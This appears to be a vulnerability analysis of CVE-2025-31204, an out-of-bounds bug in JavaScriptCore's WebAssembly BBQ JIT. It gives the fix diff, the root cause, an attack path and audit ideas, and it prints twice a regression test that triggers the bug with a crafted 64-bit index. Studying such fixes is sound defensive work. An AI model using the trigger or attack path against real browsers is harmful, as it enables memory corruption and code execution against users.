CVE-2025-31204
Overview
Impact:
Description: Processing maliciously crafted web content may lead to memory corruption
Researchers: Nan Wang(@eternalsakura13)
Key insight. The array bounds check was 32-bit but the element address used the full 64-bit index register, so a 64-bit index with in-bounds low bits bypassed the check; zero-extending the index after the check ties the access to the validated value.
Patch Details
diff --git a/JSTests/wasm/stress/array-get-large-i64-index.js b/JSTests/wasm/stress/array-get-large-i64-index.js
new file mode 100644
index 000000000000..3ac909fa2ebb
--- /dev/null
+++ b/JSTests/wasm/stress/array-get-large-i64-index.js
@@ -0,0 +1,10 @@
+var wasm_code = new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x89, 0x80, 0x80, 0x80, 0x00, 0x02, 0x5e, 0x78, 0x01, 0x60, 0x01, 0x7e, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x07, 0x88, 0x80, 0x80, 0x80, 0x00, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x95, 0x80, 0x80, 0x80, 0x00, 0x01, 0x8f, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x41, 0x10, 0xfb, 0x06, 0x00, 0x20, 0x00, 0xa7, 0xfb, 0x0d, 0x00, 0x0b,
+]);
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+for (let i = 0; i < 10000; ++i) {
+ f(0x7fffffff00000000n);
+}
+
diff --git a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
index ecaeaf0590d3..e5c5e81a3bc4 100644
--- a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
+++ b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
@@ -1817,6 +1817,7 @@ PartialResult WARN_UNUSED_RETURN BBQJIT::addArrayGet(ExtGCOpType arrayGetKind, u
indexLocation = loadIfNecessary(index);
throwExceptionIf(ExceptionType::OutOfBoundsArrayGet,
m_jit.branch32(MacroAssembler::AboveOrEqual, indexLocation.asGPR(), MacroAssembler::Address(arrayLocation.asGPR(), JSWebAssemblyArray::offsetOfSize())));
+ m_jit.zeroExtend32ToWord(indexLocation.asGPR(), indexLocation.asGPR());
}
emitArrayGetPayload(elementType, arrayLocation.asGPR(), wasmScratchGPR);
@@ -2001,6 +2002,7 @@ PartialResult WARN_UNUSED_RETURN BBQJIT::addArraySet(uint32_t typeIndex, Express
Location indexLocation = loadIfNecessary(index);
throwExceptionIf(ExceptionType::OutOfBoundsArraySet,
m_jit.branch32(MacroAssembler::AboveOrEqual, indexLocation.asGPR(), MacroAssembler::Address(arrayLocation.asGPR(), JSWebAssemblyArray::offsetOfSize())));
+ m_jit.zeroExtend32ToWord(indexLocation.asGPR(), indexLocation.asGPR());
}
emitArraySetUnchecked(typeIndex, arrayref, index, value);
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2025-31204 |
| Bugzilla | 291506 |
| Component | JSC |
| Bug Class | OOB |
| Severity | medium |
| Commit | 265dbd5abf60768a… |
| Advisory | Apple Advisory |
Terminology
- BBQ JIT — JavaScriptCore’s baseline WebAssembly JIT; the 64-bit variant keeps values in 64-bit registers.
- branch32 bounds check — A 32-bit comparison; if the index register holds a 64-bit value, only its low 32 bits are validated.
- zeroExtend32ToWord — Clears the upper 32 bits of a register so a subsequent 64-bit address computation matches the checked 32-bit value.
Root Cause Analysis
This fixes an out-of-bounds access in the WebAssembly BBQ JIT (64-bit) because the array bounds check compared only the low 32 bits of the index while the element address used the full 64-bit register. In BBQJIT::addArrayGet and addArraySet, the index is bounds-checked with a 32-bit compare — branch32(AboveOrEqual, indexGPR, array->size) — but the index register can hold a 64-bit value whose upper 32 bits are non-zero. Pre-patch the code proceeded to compute the element address from the full 64-bit register, so an index such as 0x7fffffff00000000 passes the 32-bit check (low 32 bits = 0 < size) yet the actual access uses the full 64-bit value as the offset, reading or writing far outside the array — an out-of-bounds memory access. The fix inserts m_jit.zeroExtend32ToWord(indexGPR, indexGPR) immediately after the bounds check in both addArrayGet and addArraySet, clearing the upper 32 bits so the access uses only the validated low 32 bits. The restored invariant is that the index used for the element address matches the 32-bit value that was bounds-checked. The regression test passes 0x7fffffff00000000n to a wasm array access.
Attack Path
1. Reach the BBQ JIT
Run a WebAssembly module with array get/set so it is compiled by the BBQ (64-bit) tier.
2. Supply a 64-bit index with high bits set
Provide an index like 0x7fffffff00000000 whose low 32 bits are in-bounds but upper bits are non-zero.
3. Pass the 32-bit check
The branch32 bounds check only inspects the low 32 bits and succeeds.
4. Out-of-bounds access
The element address is computed from the full 64-bit register, reading/writing far outside the array — a controllable OOB in WebContent.
Impact Assessment
A controllable out-of-bounds read/write in the WebContent process via WebAssembly array access — the attacker chooses the high bits of the index, giving a strong, wide-reaching corruption primitive and a well-known route toward arbitrary read/write and code execution.
Audit Directions
Same file: 32-bit checks on 64-bit values
Audit WasmBBQJIT64 for other branch32 bounds/type checks on index/length registers that are later used as 64-bit addresses without zero-extension.
Index provenance
Grep for loadIfNecessary(index) uses where an i32 index may carry garbage/high bits from an i64 source before an address computation.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
BBQJIT::addArrayGet |
Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp |
modified | Zero-extends the index to the full word after the 32-bit bounds check so the element address uses only the validated low 32 bits. |
BBQJIT::addArraySet |
Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp |
modified | Same zeroExtend32ToWord after the bounds check to prevent a 64-bit index bypassing the 32-bit check. |
Files Changed
Source Files
Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
Test Files
JSTests/wasm/stress/array-get-large-i64-index.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/stress/array-get-large-i64-index.js b/JSTests/wasm/stress/array-get-large-i64-index.js
new file mode 100644
index 000000000000..3ac909fa2ebb
--- /dev/null
+++ b/JSTests/wasm/stress/array-get-large-i64-index.js
@@ -0,0 +1,10 @@
+var wasm_code = new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x89, 0x80, 0x80, 0x80, 0x00, 0x02, 0x5e, 0x78, 0x01, 0x60, 0x01, 0x7e, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x07, 0x88, 0x80, 0x80, 0x80, 0x00, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x95, 0x80, 0x80, 0x80, 0x00, 0x01, 0x8f, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x41, 0x10, 0xfb, 0x06, 0x00, 0x20, 0x00, 0xa7, 0xfb, 0x0d, 0x00, 0x0b,
+]);
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+for (let i = 0; i < 10000; ++i) {
+ f(0x7fffffff00000000n);
+}
+